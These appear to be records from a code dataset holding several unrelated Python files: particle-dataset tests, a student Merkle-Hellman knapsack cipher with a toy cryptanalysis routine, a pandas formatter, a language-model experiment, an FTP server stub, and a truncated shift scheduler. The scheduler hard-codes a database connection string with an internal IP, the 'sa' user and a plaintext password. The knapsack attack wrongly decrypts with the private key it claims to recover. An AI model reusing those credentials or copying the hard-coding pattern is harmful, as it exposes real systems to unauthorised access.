+{"seq_id":"200308520","text":"# -*- coding: utf-8 -*-\nfrom pathlib import Path\nfrom typing import Mapping\nfrom typing import Union\n\nimport numpy as np\nimport pytest\n\nfrom nata.containers import ParticleDataset\nfrom nata.types import AxisType\nfrom nata.types import ParticleBackendType\nfrom nata.types import ParticleDatasetType\n\n\n@pytest.fixture(name=\"TestParticleBackend\")\ndef _TestParticleBackend():\n    \"\"\"Fixture for returning ParticleBackend\"\"\"\n\n    class TestParticleBackend:\n        \"\"\"Test backend for ParticleDatasets\"\"\"\n\n        name = \"TestParticleBackend\"\n        location = None\n\n        dataset_name = \"test_dataset_name\"\n        num_particles = 10\n\n        quantity_names = (\"quant1\", \"quant2\", \"quant3\")\n        quantity_labels = (\"quant1 label\", \"quant2 label\", \"quant3 label\")\n        quantity_units = (\"quant1 unit\", \"quant2 unit\", \"quant3 unit\")\n\n        iteration = 42\n\n        time_step = 12.3\n        time_unit = \"time unit\"\n\n        dtype = np.dtype(\n            [(\"quant1\", np.int), (\"quant2\", np.float), (\"quant3\", np.int)]\n        )\n\n        @staticmethod\n        def is_valid_backend(location: Union[Path, str]) -> bool:\n            return (\n                True\n                if Path(location) == Path(\"TestParticleBackend_location\")\n                else False\n            )\n\n        def __init__(self, location) -> None:\n            pass\n\n    # makes sure dummy backend is of valid type\n    assert isinstance(TestParticleBackend, ParticleBackendType)\n\n    ParticleDataset.add_backend(TestParticleBackend)\n    yield TestParticleBackend\n    # teardown\n    ParticleDataset.remove_backend(TestParticleBackend)\n\n\ndef test_ParticleDataset_isinstance_ParticleDatasetType():\n    \"\"\"Checks ParticleDataset passes isinstance test of ParticleDatasetType\"\"\"\n    assert isinstance(ParticleDataset, ParticleDatasetType)\n\n\ndef test_ParticleDataset_registration(TestParticleBackend):\n    \"\"\"Check if fixture registers backend properly\"\"\"\n    assert TestParticleBackend.name in ParticleDataset.get_backends()\n\n\n@pytest.mark.parametrize(\n    \"attr, value\",\n    [(\"backend\", \"TestParticleBackend\"), (\"name\", \"test_dataset_name\")],\n    ids=[\"backend\", \"name\"],\n)\ndef test_ParticleDataset_attr_propagation_from_Backend(\n    TestParticleBackend, attr, value\n):\n    \"\"\"Parameterized check for different props of ParticleDataset\"\"\"\n    ds = ParticleDataset(\"TestParticleBackend_location\")\n    assert getattr(ds, attr) == value\n\n\ndef test_ParticleDataset_num_particles_from_Backend(TestParticleBackend):\n    \"\"\"Tests extraction correct type for . and its proper extraction\"\"\"\n    ds = ParticleDataset(\"TestParticleBackend_location\")\n    assert isinstance(ds.num_particles, AxisType)\n\n\ndef test_ParticleDataset_axes_from_Backend(TestParticleBackend):\n    \"\"\"Tests extraction correct type for .axes and its proper extraction\"\"\"\n    ds = ParticleDataset(\"TestParticleBackend_location\")\n\n    assert isinstance(ds.axes, Mapping)\n\n    for axes_name, type_ in [\n        (\"iteration\", AxisType),\n        (\"time\", AxisType),\n    ]:\n        assert axes_name in ds.axes\n        assert isinstance(ds.axes.get(axes_name), type_)\n\n\n@pytest.mark.parametrize(\n    \"attr, value\",\n    [(\"name\", \"iteration\"), (\"label\", \"iteration\"), (\"unit\", \"\")],\n    ids=[\"name\", \"label\", \"unit\"],\n)\ndef test_ParticleDataset_iteration_axis_from_Backend(\n    TestParticleBackend, attr, value\n):\n    \"\"\"Extraction is correct for iteration axis. Check attributes for axis\"\"\"\n    ds = ParticleDataset(\"TestParticleBackend_location\")\n    assert getattr(ds.axes[\"iteration\"], attr) == value\n\n\n@pytest.mark.parametrize(\n    \"attr, value\",\n    [(\"name\", \"time\"), (\"label\", \"time\"), (\"unit\", \"time unit\")],\n    ids=[\"name\", \"label\", \"unit\"],\n)\ndef test_ParticleDataset_time_axis_from_Backend(\n    TestParticleBackend, attr, value\n):\n    \"\"\"Extraction is correct for iteration axis. Check attributes for axis\"\"\"\n    ds = ParticleDataset(\"TestParticleBackend_location\")\n    assert getattr(ds.axes[\"time\"], attr) == value\n\n\ndef test_ParticleDataset_quantities_from_Backend(TestParticleBackend):\n    \"\"\"Checks if quantities propagate from backend to ParticleDataset\"\"\"\n    ds = ParticleDataset(\"TestParticleBackend_location\")\n\n    assert isinstance(ds.quantities, Mapping)\n\n    expected_names = TestParticleBackend.quantity_names\n    expected_labels = TestParticleBackend.quantity_labels\n    expected_units = TestParticleBackend.quantity_units\n\n    # check key entries\n    for key, expected_name in zip(ds.quantities.keys(), expected_names):\n        assert key == expected_name\n\n    # check value entries\n    for quant, expected_name in zip(ds.quantities.values(), expected_names):\n        assert quant.name == expected_name\n\n    for quant, expected_label in zip(ds.quantities.values(), expected_labels):\n        assert quant.label == expected_label\n\n    for quant, expected_unit in zip(ds.quantities.values(), expected_units):\n        assert quant.unit == expected_unit\n\n\n@pytest.mark.skip\ndef test_ParticleDataset_from_array():\n    \"\"\"Check init for ParticleDataset from array\"\"\"\n    pass\n\n\n@pytest.mark.skip\ndef test_ParticleDataset_from_path():\n    \"\"\"Check init for ParticleDataset from path\"\"\"\n    pass\n","sub_path":"tests/containers/test_ParticleDatset.py","file_name":"test_ParticleDatset.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"477329225","text":"\"\"\"****************************************************************************************\n ** FileName:       knapsack.py\n ** Author:         Jiawei Hawkins\n ** Date:           2019-05-08 星期三 16:13:29\n ** Description:    实现背包密码体制及其攻击\n ****************************************************************************************\"\"\"\n\nfrom knapsack_math import euc_ext\nfrom random import randint\nfrom copy import deepcopy\n\n\n\n\"\"\"****************************************************************************************\n ** Date:           2019-05-09 星期四 08:49:11\n ** Description:    生成超递增背包序列并保存在文件中\n ****************************************************************************************\"\"\"\n\n\nkey_size = [None] * 1\nn = [None] * 1\npk = None\nsk = [None] * 1\n\ndef key_generate():\n\n    pk = [None] * key_size[0]\n    pk[0] = randint(1, key_size[0])\n    sum_sk = pk[0]\n\n    for i in range(1, key_size[0]):\n        pk[i] = randint(sum_sk + 1, sum_sk << 1)\n        sum_sk = sum_sk + pk[i]\n\n    # 为了便于计算  让模数n等于b[length] * 2 + 1\n    n[0] = ((pk[-1]) << 1) + 1\n    w = randint(2, n[0])\n    tmp = euc_ext(w, n[0])\n    while( tmp[2] != 1):\n        w = randint(2, n[0])\n        tmp = euc_ext(w, n[0])\n    sk[0] = tmp[0]          #\n\n    out = open(\"key.knapsack\", \"w\")\n\n    out.write(\"n的值\")\n    out.write('\\n')\n    out.write(str(n[0]))        #   n的值\n    out.write('\\n')\n    \n    out.write(\"公钥部分\")\n    out.write('\\n')\n    for i in range(key_size[0]):\n        out.write(str((pk[i] * w) % n[0]))\n        out.write(' ')\n    out.write('\\n')\n\n\n    out.write(\"私钥部分\")\n    out.write('\\n')\n    out.write(str(tmp[0] % n[0]))        #   w的逆的值\n    out.write('\\n')\n    \n    print(\"生成密钥成功\\n\")\n    \n    out.close()\n\n\n\ndef get_key(flag):                      #如果为0表示读取公钥，如果为1表示读取私钥\n    global pk\n    try:\n        file_key = open(\"key.knapsack\", \"r\")\n    except IOError:\n        print(\"Error, File not found\")\n        exit()\n\n    if(flag == 1):\n        print(\"------------------------------开始读取私钥------------------------------------\")\n    else:\n        print(\"------------------------------开始读取公钥------------------------------------\")\n\n    while(file_key.readline() != \"n的值\\n\"):\n        file_key.readline()\n    n[0] = int(file_key.readline())\n\n    while(file_key.readline() != \"公钥部分\\n\"):\n        file_key.readline()\n    pk = list(map(int, (file_key.readline().split(\" \"))[:-1]))\n\n    if(flag == 1):\n        while(file_key.readline() != \"私钥部分\\n\"):\n            file_key.readline()\n        sk[0] = int(file_key.readline())\n\n    file_key.close()\n    if(flag == 1):\n        print(\"------------------------------私钥读取成功------------------------------------\")\n    else:\n        print(\"------------------------------公钥读取成功------------------------------------\")\n\n\ndef encode():    #message为要加密的特定大小的二进制文件   \n    print(\"------------------------------开始加密------------------------------------\")    \n    get_key(0)          #读取公钥用来加密\n    try:\n        file_in = open(\"message.png\", \"rb\")\n    except IOError:\n        print(\"Error! File not exits\")\n        exit()\n    size = key_size[0] >> 3\n    \n    number = size << 3\n\n    file_out = open(\"cipher.knapsack\", \"w\")\n    message = file_in.read(size).hex()\n\n    while(message != ''):\n        file_out.write(str(len(message)))        #发送读取时写的长度\n        file_out.write(' ')\n\n        message = int(message, 16)\n        tmp = 0\n        for i in range(number):\n            tmp = tmp + ((message >> (number - 1 - i)) & 1) * pk[i]\n\n\n        file_out.write(str(tmp % n[0]))\n        file_out.write('\\n')\n        message = file_in.read(size).hex()\n\n    file_in.close()\n    file_out.close()\n    print(\"------------------------------加密成功------------------------------------\") \n    \n    \ndef decode():    #message为要解密的特定大小的二进制文件\n    print(\"------------------------------开始解密------------------------------------\")    \n    get_key(1)          #读取私钥用来解密\n    try:\n        file_in = open(\"cipher.knapsack\", \"r\")\n    except IOError:\n        print(\"Error! File not exits\")\n        exit()\n    \n    for i in range(key_size[0]):\n        pk[i] = (pk[i] * sk[0]) % n[0]\n\n    size_write = None\n    number = (key_size[0] >> 3) << 3\n\n\n    file_out = open(\"message_knapsack.png\", \"wb\")\n\n    cipher = file_in.readline()\n    while(cipher != ''):\n        cipher = cipher.split()\n        size_write = int(cipher[0])\n        cipher = (int(cipher[1]) * sk[0]) % n[0]\n\n        tmp = 0\n        for i in range(number - 1, -1, -1):\n            if(cipher >= pk[i]):\n                tmp = tmp | (1 << (number - i - 1))\n                cipher = cipher - pk[i]\n        file_out.write(bytes.fromhex((hex(tmp)[2:]).zfill(size_write)))\n        cipher = file_in.readline()\n\n\n\n    print(\"------------------------------解密成功------------------------------------\") \n    file_in.close()\n    file_out.close()\n\n\ndef is_super_increment(w_inv):                  #判断w_inv能否生成超递增序列\n    key = deepcopy(pk)\n    for i in range(key_size[0]):\n        key[i] = (key[i] * w_inv) % n[0]\n\n    if(n[0] <= 2 * key[-1]):         #首先判断最大的那个数的二倍是否小于模数n\n        return None\n    \n    sum_serial = 0\n    for i in range(1, key_size[0]):\n        if(key[i] <= sum_serial):\n            return None\n        sum_serial = sum_serial + key[i]\n    \n\n    print(\"w_inv = {0},攻击构造的超递增序列：\".format(str(w_inv)), end = ' ')\n    print(key)\n\n\n    return key\n\n\ndef attack():\n    print(\"------------------------------开始攻击------------------------------------\") \n    get_key(0)                      #获取公钥\n    print(\"------------------------------开始构造超递增序列------------------------------------\")\n    for i in range(1, n[0]):\n        key = is_super_increment(i)\n        if(key != None):\n            break\n    # 和decode的函数一样\n    try:\n        file_in = open(\"cipher.knapsack\", \"r\")\n    except IOError:\n        print(\"Error! File not exits\")\n        exit()\n\n    size_write = None\n    number = (key_size[0] >> 3) << 3\n\n\n    file_out = open(\"message_knapsack_attack.png\", \"wb\")\n\n    cipher = file_in.readline()\n    while(cipher != ''):\n        cipher = cipher.split()\n        size_write = int(cipher[0])\n        cipher = (int(cipher[1]) * sk[0]) % n[0]\n\n        tmp = 0\n        for i in range(number - 1, -1, -1):\n            if(cipher >= key[i]):\n                tmp = tmp | (1 << (number - i - 1))\n                cipher = cipher - key[i]\n        file_out.write(bytes.fromhex((hex(tmp)[2:]).zfill(size_write)))\n        cipher = file_in.readline()\n\n\n\n    print(\"------------------------------攻击成功------------------------------------\")\n    file_in.close()\n    file_out.close()\n\n\n\n\n\nif(__name__ == '__main__'):\n    key_size[0] = int(input(\"请输入背包密钥的序列个数(>= 8):\"))\n    while(key_size[0] < 8):\n        key_size[0] = int(input(\"请输入背包密钥的序列个数(>= 8):\"))\n    key_generate()\n    encode()\n    print(\"\")\n    attack()\n    print(\"\")\n    decode()","sub_path":"Project7/Py/knapsack.py","file_name":"knapsack.py","file_ext":"py","file_size_in_byte":7284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"108368173","text":"from lib.packages import *\n\nclass DBFormatter():\n\n    def __init__(self, cace_results):\n        self.cace_df = pd.concat(cace_results.values()).reset_index(drop=True)\n\n    def format_for_db(self):\n\n        def transition_to_db(x, dems):\n            to_return = x.copy()\n            dem_num = 1\n            for d in dems:\n                if type(to_return[d]) == str:\n                    to_return['dem'+str(dem_num)] = d\n                    dem_num +=1\n            if dem_num == 2:\n                to_return['dem2'] = None\n            if to_return.quantiles is not None:\n                to_return['ci_low'] = to_return.quantiles[.025]\n                to_return['Q1'] = to_return.quantiles[.25]\n                to_return['Q3'] = to_return.quantiles[.75]\n                to_return['ci_high'] = to_return.quantiles[.975]\n                to_return['median'] = to_return.quantiles['median']\n                to_return['control_pop'] = to_return.quantiles['control_pop']\n                to_return['treatment_pop'] = to_return.quantiles['treat_pop']\n                to_return['total_pop'] = to_return['control_pop'] + to_return['treatment_pop']\n            to_return.drop('quantiles', inplace=True)\n            to_return['dem1_value'] = to_return[to_return['dem1']]\n            if to_return['dem2'] is not None:\n                to_return['dem2_value'] = to_return[to_return['dem2']]\n            else:\n                to_return['dem2_value'] = None\n            for d in dems:\n                to_return.drop(d,inplace=True)\n            return to_return\n\n        self.cace_db = self.cace_df.apply(lambda x: transition_to_db(x, ['org','race','sex']), axis=1)#['org','party','race','regstatus','sex','age_bracket']), axis=1)\n\n    def create_inverse_demo(self):\n        cace_2 = self.cace_db.copy()\n        cace_2['demtemp'] = cace_2['dem1']\n        cace_2['demval'] = cace_2['dem1_value']\n        cace_2 = cace_2.drop(columns=['dem1','dem1_value'])\n        cace_2 = cace_2.rename(columns={'dem2':'dem1','dem2_value':'dem1_value','demtemp':'dem2','demval':'dem2_value'})\n        self.cace_db = self.cace_db.append(cace_2)\n\n    def spring_cleaning(self):\n        cace = self.cace_db.copy()\n        cace = cace[(cace.contact_rate != 0) & (cace.cace != 0) & (cace.cace.notnull()) & (cace.treatment_pop.notnull())]\n        cace = cace.fillna('')\n        self.cace_db = cace\n\n    def lookup_cleaning(self):\n\n        lookup = {'sex':{r'^M':'Male',\n                        r'^F':'Female',\n                        r'^U':'Unspecified'},\n                  'race':{r'^A':'Asian',\n                         r'^B':'Black',\n                         r'^H':'Hispanic',\n                         r'^U':'Unspecified',\n                         r'^W':'White'},\n                  'party':{r'^D':'Democratic',\n                          r'^G':'Green',\n                          r'^I':'Independent',\n                          r'^R':'Republican',\n                          r'^L':'Libertarian',\n                          r'^N':'Unaffiliated',\n                          r'^O':'Other',\n                          r'^W':'Working Families',\n                          r'^U':'Unknown'},\n                  'age_bracket':{r'^60 - 300':'60+'},\n                  'regstatus':{r'^APPLICANT':'Applicant',\n                          r'^DROPPED':'Dropped',\n                          r'^MULTIPLE APPEARANCES':'Multiple Appearances',\n                          r'^REGISTERED ACTIVE':'Registered Active',\n                          r'^REGISTERED INACTIVE':'Registered Inactive',\n                          r'^UNREGISTERED':'Unregistered'}\n                 }\n\n        cace = self.cace_db.copy()\n\n        def clean_cols(df,dem,dem_col,dem_val_col,old_val,new_val):\n            regex_pat = re.compile(old_val)\n            df.loc[df[dem_col] == dem, dem_val_col] = df.loc[df[dem_col] == dem, dem_val_col].str.replace(regex_pat,new_val)\n            return df\n\n        for dem,lu in lookup.items():\n            for old,new in lu.items():\n                df = clean_cols(cace,dem,'dem1','dem1_value',old,new)\n                df = clean_cols(cace,dem,'dem2','dem2_value',old,new)\n\n        cace.loc[cace.dem2_value == '','dem2'] = 'all'\n        cace.loc[cace.dem1_value == '','dem1'] = 'all'\n        self.cace_db = cace\n\n    def convert_from_proportion(self):\n        for col in ['Q1','Q3','cace','ci_high','ci_low','median']:\n            self.cace_db[col] = self.cace_db[col].apply(lambda x: round(x * 100,1))\n\n    def add_election_and_year_cols(self):\n        self.cace_db[['election','year']] = self.cace_db['election_w_year'].apply(lambda x: pd.Series(x.split(' - ')))\n        self.cace_db.drop(columns=['election_w_year'], inplace=True)\n\n    def run(self):\n        self.format_for_db()\n        self.create_inverse_demo()\n        self.spring_cleaning()\n        self.lookup_cleaning()\n        self.convert_from_proportion()\n        self.add_election_and_year_cols()\n","sub_path":"experiments_runner/src/lib/format/db_formatter.py","file_name":"db_formatter.py","file_ext":"py","file_size_in_byte":4896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"592507310","text":"from itertools import product\nimport numpy as np\nimport os\nimport pandas as pd\nimport random\nfrom relu_lstm import ReLULSTM\nimport string\nimport time\nfrom torch_rep_learner import RepLearner\nimport torch.nn as nn\nfrom torch_fuzzy_lm import FuzzyPatternLM, START_SYMBOL, END_SYMBOL\nimport utils\n\n\nclass Dataset:\n    def __init__(self, train_vocab, test_vocab):\n        self.train_vocab = train_vocab\n        self.test_vocab = test_vocab\n        self.train = self.generate(self.train_vocab)\n        self.test = self.generate(self.test_vocab)\n\n    def generate(self, vocab):\n        dataset = []\n        for ex in self.example_generator(vocab):\n            dataset.append([START_SYMBOL] + ex + [END_SYMBOL])\n        return dataset\n\n\nclass DatasetABA(Dataset):\n\n    @staticmethod\n    def example_generator(vocab):\n        for c1 in vocab:\n            for c2 in vocab:\n                if c1 != c2:\n                    yield [c2, c1, c2]\n\n    @staticmethod\n    def is_error(p, test_len):\n        return len(p) != test_len or p[1] != p[-2] or p[1] == p[2]\n\n\nclass FuzzyPatternLMExperiment:\n    def __init__(self,\n            dataset_class=DatasetABA,\n            n_trials=20,\n            embed_dims=[2, 10, 25, 50, 100],\n            hidden_dims=[2, 10, 25, 50, 100],\n            learning_rates=[0.0001, 0.001, 0.01],\n            alphas=[0.00001, 0.0001, 0.001],\n            rnn_cell_class=ReLULSTM,\n            num_layers=1,\n            pretrain_tasks=None,\n            pretrain_max_iter=10,\n            dropout=0,\n            max_iter=150,\n            train_vocab_size=20,\n            test_vocab=list(string.ascii_letters)):\n        self.dataset_class = dataset_class\n        self.n_trials = n_trials\n        self.embed_dims = embed_dims\n        self.hidden_dims = hidden_dims\n        self.rnn_cell_class = rnn_cell_class\n        self.pretrain_tasks = pretrain_tasks\n        self.pretrain_max_iter = pretrain_max_iter\n        self.max_iter = max_iter\n        self.learning_rates = learning_rates\n        self.alphas = alphas\n        self.num_layers = num_layers\n        self.dropout = dropout\n        self.train_vocab_size = train_vocab_size\n        self.train_vocab = list(map(str, range(self.train_vocab_size)))\n        self.test_vocab = test_vocab\n        self.dataset = self.dataset_class(self.train_vocab, self.test_vocab)\n        self.full_vocab = self.train_vocab + self.test_vocab\n        self.full_vocab += [START_SYMBOL, END_SYMBOL]\n\n        grid = (self.embed_dims, self.hidden_dims, self.alphas, self.learning_rates)\n        self.grid = list(product(*grid))\n\n    def run(self):\n        data = []\n\n        print(f\"Grid size: {len(self.grid)} * {self.n_trials}; \"\n              f\"{len(self.grid)*self.n_trials} experiments\")\n\n        for embed_dim, hidden_dim, alpha, lr in self.grid:\n\n            scores = []\n\n            print(f\"Running trials for embed_dim={embed_dim} hidden_dim={hidden_dim} \"\n                  f\"alpha={alpha} learning_rate={lr} ...\", end=\" \")\n\n            start = time.time()\n\n            for trial in range(1, self.n_trials+1):\n\n                if self.pretrain_tasks is not None:\n                    embedding = self._create_pretrained_embedding(embed_dim)\n                else:\n                    embedding = None\n\n                model = FuzzyPatternLM(\n                    vocab=self.full_vocab,\n                    embed_dim=embed_dim,\n                    hidden_dim=hidden_dim,\n                    rnn_cell_class=self.rnn_cell_class,\n                    max_iter=self.max_iter,\n                    num_layers=self.num_layers,\n                    embedding=embedding,\n                    dropout=self.dropout,\n                    warm_start=True,\n                    eta=lr)\n\n                model.fit(self.dataset.train, eval_func=self.evaluate)\n\n                preds = model.results.copy()\n\n                scores.append(preds[-1]['accuracy'])\n\n                for p in preds:\n                    p['train_size'] = p['iteration'] * len(self.dataset.train)\n                    p.update({\n                        'trial': trial,\n                        'embed_dim': embed_dim,\n                        'hidden_dim': hidden_dim,\n                        'train_vocab_size': self.train_vocab_size,\n                        'alpha': alpha,\n                        'learning_rate': lr,\n                        'max_iter': self.max_iter})\n\n                data += preds\n\n            elapsed_time = round(time.time() - start, 0)\n\n            print(f\"mean: {round(np.mean(scores), 2)}; max: {max(scores)}; took {elapsed_time} secs\")\n\n        df = pd.DataFrame(data)\n\n        df.drop(['correct', 'incorrect', 'n_correct', 'n_incorrect'], axis=1, inplace=True)\n\n        self.data_df = df\n\n        return self.data_df\n\n    def to_csv(self, output_dirname=\"results\"):\n        base_output_filename = \"fuzzy-lm-vocab{}\".format(self.train_vocab_size)\n        if 'LSTM' in self.rnn_cell_class.__class__.__name__:\n            base_output_filename += \"-lstm\"\n        if self.pretrain_tasks is not None:\n            base_output_filename += \"-pretrain-{}tasks\".format(self.pretrain_tasks)\n        base_output_filename += \".csv\"\n        self.data_df.to_csv(\n            os.path.join(output_dirname, base_output_filename),\n            index=None)\n\n    def _create_pretrained_embedding(self, embed_dim):\n        vocab_size = len(self.full_vocab)\n        mod = RepLearner(\n            vocab_size=vocab_size,\n            embed_dim=embed_dim,\n            hidden_dim=embed_dim,\n            n_tasks=self.pretrain_tasks,\n            max_iter=self.pretrain_max_iter)\n        X = list(range(vocab_size))\n        ys = []\n        for _ in range(self.pretrain_tasks):\n            y = np.random.choice((0, 1), size=vocab_size, replace=True)\n            ys.append(y)\n        ys = list(zip(*ys))\n        mod.fit(X, ys)\n        return mod.embedding\n\n    def evaluate(self, model, verbose=False):\n        all_preds = set()\n        test_len = len(self.dataset.test[0])\n        prompts = sorted({tuple(ex[: 2]) for ex in self.dataset.test})\n        for prompt in prompts:\n            pred = tuple(model.predict_one(prompt))\n            all_preds.add(pred)\n        data = {\n            'correct': [],\n            'incorrect': []}\n        for p in all_preds:\n            if self.dataset.is_error(p, test_len):\n                data['incorrect'].append(p)\n            else:\n                data['correct'].append(p)\n        data['n_correct'] = len(data['correct'])\n        data['n_incorrect'] = len(data['incorrect'])\n        data['accuracy'] = data['n_correct'] / len(all_preds)\n        if verbose:\n            print(f\"{data['n_incorrect']} errors for {len(all_preds)} \"\n                  f\"test examples; accuracy is {data['accuracy']}\")\n        return data\n","sub_path":"fuzzy_lm_experiment.py","file_name":"fuzzy_lm_experiment.py","file_ext":"py","file_size_in_byte":6748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"541332494","text":"'''\nftp文件服务器\nfor server训练\n'''\n\nfrom socket import *\nimport os,sys\nfrom threading import Thread\n#全局变量\nHOST = '0.0.0.0'\nPORT = 8700\nADDR = (HOST,PORT)\nFILE_DIR = '/home/tarena/selfpbase/'\n\n#处理僵尸进程\ndef zombie():\n    # while True:\n    #     try:\n    #         # os.waitpid(-1,os.WNOHANG)\n    #         os.wait()\n    #     except Exception:\n    #         print(\"僵尸来了没?\")\n    os.wait()\n #单独创建线程处理僵尸进程,线程同属于父进程,处理子进程的僵尸进程\n# t = Thread(target=zombie)\n# t.setDaemon(True)\n# t.start()\n\n#具体功能实现\nclass FtpServer():\n    pass\n\n#创建网络网络连接\ndef main():\n    sockfd = socket(AF_INET,SOCK_STREAM)\n    sockfd.setsockopt(SOL_SOCKET,SO_REUSEADDR,True)\n    sockfd.bind(ADDR)\n    sockfd.listen(5)\n    print(\"Lister to the port 8080...\")\n   \n    while True:\n        try:\n            c,addr = sockfd.accept()\n        except KeyboardInterrupt:\n            sockfd.close()\n            sys.exit(\"服务器退出\")\n        except Exception as e:\n            print(\"服务器异常\",e)\n            continue \n        print(\"连接用户:\",addr)\n    \n        #创建子进程\n        pid = os.fork()\n        if pid == 0:\n            sockfd.close()\n            print(\"处理客户端请求\",os.getpid())\n            os._exit(0)        \n        else:\n            c.close()\n            #单独创建线程处理僵尸进程,线程同属于父进程,处理子进程的僵尸进程\n            t = Thread(target=zombie)\n            t.setDaemon(True)\n            t.start()\n            continue\n\nmain()\n","sub_path":"day8/FTP文件服务器/第一阶段/ftp_server.py","file_name":"ftp_server.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"399416717","text":"'''\n            <<<<Shift Recommandeation by Genetic Algorithm>>>>            \n    - Create initial gene by pivot table\n    - Fetch Personnel, Shift and WorkSection Requirements Info\n'''\nimport sys\n\nimport numpy as np\nimport pandas as pd\nfrom data_access.sql_server import data \nfrom libs import GA_dataframes \nimport datetime\nfrom time import strftime, gmtime\nfrom libs.get_random import get_best_first_rank as get_rank\n\ndef prs_day_alg(work_sction_id, year_working_period):\n#    work_sction_id = 1\n#    year_working_period = 139806\n    \n    PersianYear  = int(year_working_period / 100)\n    PersianMonth = int(year_working_period % 100)\n    # ----------------------- get data -------------------------------------------#\n    conn_str = '''DRIVER={SQL Server Native Client 11.0};\n                 SERVER=172.16.47.154;\n                 DATABASE=Didgah_Timekeeper_DM;\n                 Integrated_Security=false;\n                 Trusted_Connection=yes;\n                 UID=sa;\n                 PWD=1qaz!QAZ\n              '''\n    query_gene_last = '''SELECT DISTINCT   \n                                [Rank]\n                               ,[Cost]      \n                               ,[WorkSectionId]\n                               ,[YearWorkingPeriod]\n                               ,[EndTime]\n                               ,DATEDIFF(SECOND,EndTime,GETDATE())life_cycle\t \n                               ,[UsedParentCount]\n                         FROM [PersonnelShiftDateAssignments]                         \n                         WHERE WorkSectionId = {0} AND YearWorkingPeriod = {1}                                \n                       '''.format(work_sction_id,year_working_period)                        \n    parent_rank = get_rank(conn_str, query_gene_last)\n    by_parent = True \n    query_gene_last ='''SELECT S.[PersonnelBaseId]                 \n                              ,S.[YearWorkingPeriod]\n                              ,S.[Day]      \n                          \t  ,ShiftId as ShiftCode \n                        FROM \n                        \t[PersonnelShiftDateAssignments] S\n                        WHERE                           \t\n                            WorkSectionId = {0}                      \n                            AND S.YearWorkingPeriod = {1}   \n                            AND S.RANK = {2}\n                     '''.format(work_sction_id,\n                                year_working_period,\n                                parent_rank)\n                        \n    query_gene_new = '''SELECT \n                             PersonnelBaseId     \t\t\t\t\t \n    \t\t\t\t\t\t,YearWorkingPeriod\n                            ,PersianDayOfMonth as Day\n                            ,1 ShiftCode\n                        FROM \n                            Personnel P JOIN\n                            Dim_Date D ON D.PersianYear = {0} \n                            AND PersianMonth={1} and WorkSectionId = {2}\n                      '''.format(PersianYear, PersianMonth, work_sction_id)\n                      \n    \n    query_personnel = '''SELECT  [PersonnelBaseId]\n    \t\t\t\t\t\t\t,[WorkSectionId]\n    \t\t\t\t\t\t\t,[YearWorkingPeriod]\n    \t\t\t\t\t\t\t,[RequirementWorkMins_esti]\n    \t\t\t\t\t\t\t,[RequirementWorkMins_real]\n    \t\t\t\t\t\t\t,[TypeId] prs_typ_id\n    \t\t\t\t\t\t\t,[EfficiencyRolePoint]\n                                ,[DiffNorm]\n                        FROM [Personnel]\n                        WHERE WorkSectionId = {0} AND YearWorkingPeriod = {1}\n                      '''.format(work_sction_id,year_working_period)\n                      \n    query_shift = '''SELECT [id] as ShiftCode\n    \t\t\t\t\t ,[Title]\n    \t\t\t\t\t ,[Length]\n    \t\t\t\t\t ,[StartTime]\n    \t\t\t\t\t ,[EndTime]\n    \t\t\t\t\t ,[Type] ShiftTypeID\n                    FROM [Shifts]\n    \t\t\t '''   \n    query_shift_req = '''SELECT [PersianDayOfMonth] AS Day                          \n                              ,[PersonnelTypeReqID] as prs_typ_id\n                              ,[ShiftTypeID]\n                              ,[ReqMinCount]\n                              ,[ReqMaxCount]\n                              ,[day_diff_typ]\n                        FROM \n                        \t[WorkSectionRequirements] R\n                        \tJOIN Dim_Date D ON D.PersianYear=R.Year\n                        \tAND D.PersianMonth = R.Month                    \t\n                        WHERE \n    \t\t\t\t\t\tYEAR = {0} AND Month = {1}\n                            AND WorkSectionId = {2}\n                        ORDER BY \n                        \tWorkSectionId,D.Date\n                        \t,PersonnelTypeReqID,ShiftTypeID                        \n                      '''.format(PersianYear, PersianMonth, work_sction_id)      \n    query_prs_req = '''SELECT  [PersonnelBaseId]\n                              ,[YearWorkingPeriod]\n                              ,[WorkSectionId]\n                              ,[Day]\n                              ,[ShiftTypeID]\n                              ,[Value]\n                      FROM [PersonnelRequest]\n                      WHERE [WorkSectionId] = {0}\n                            and [YearWorkingPeriod] = {1}\n                      ORDER BY[PersonnelBaseId]\n                              ,[YearWorkingPeriod]\n                              ,[Day]\n                              ,[ShiftTypeID]\n                    '''.format(work_sction_id,year_working_period)\n                         \n    db = data(conn_str =  conn_str,\n              query_gene_last = query_gene_last,\n              query_gene_new = query_gene_new,\n              query_personnel=query_personnel,\n              query_shift=query_shift,\n              query_shift_req=query_shift_req,\n              query_prs_req=query_prs_req\n             )\n    sql_conn = db.get_sql_conn()\n    chromosom_df = pd.DataFrame(db.get_chromosom(work_sction_id, \n                                                 year_working_period))\n    personnel_df = pd.DataFrame(db.get_personnel())\n    shift_df = pd.DataFrame(db.get_shift())\n    day_req_df = pd.DataFrame(db.get_day_req())\n    prs_req_df = pd.DataFrame(db.get_prs_req())\n    is_new = db.is_new()\n    # ----------------------- gene pivoted ---------------------------------------#\n    chromosom_df = chromosom_df.merge(personnel_df, \n                                      left_on='PersonnelBaseId', \n                                      right_on='PersonnelBaseId', \n                                      how='inner')\n    chromosom_df = pd.pivot_table(chromosom_df, values='ShiftCode', \n                                  index=['PersonnelBaseId',\n                                          'prs_typ_id',\n                                          'EfficiencyRolePoint',\n                                          'RequirementWorkMins_esti'                                                                           \n                                        ],\n                                  columns=['Day'], aggfunc=np.sum)\n    # ----------------------- set personnel_df -----------------------------------#\n    personnel_df = personnel_df.set_index('PersonnelBaseId')\n    personnel_df['DiffNorm'] = 0\n    # ----------------------- set shift_df ---------------------------------------#\n    shift_df = shift_df.set_index('ShiftCode')\n    # ----------------------- set day_req_df -------------------------------------#\n    day_req_df = day_req_df.set_index(['Day','prs_typ_id','ShiftTypeID'])\n    day_req_df['day_diff_typ'] = 0\n    day_count =len(day_req_df.groupby(axis=0, level=0, as_index=True).count())\n    # 